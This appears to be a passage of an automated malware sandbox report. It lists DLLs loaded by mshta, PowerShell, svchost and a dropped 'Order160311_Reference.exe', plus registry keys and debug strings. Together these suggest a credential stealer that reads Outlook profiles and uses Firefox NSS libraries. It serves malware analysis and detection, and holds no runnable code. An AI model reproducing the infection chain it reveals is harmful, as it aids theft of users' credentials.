Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Section loaded: propsys.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.4.dr
Source:	Binary string: ucrtbase.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780924523.0000000003DA0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: msvcp140.i386.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.4.dr
Source:	Binary string: ucrtbase.pdbUGP source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.4.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: Order160311_Reference.exe, 00000004.00000003.1780839566.0000000003DA4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.4.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
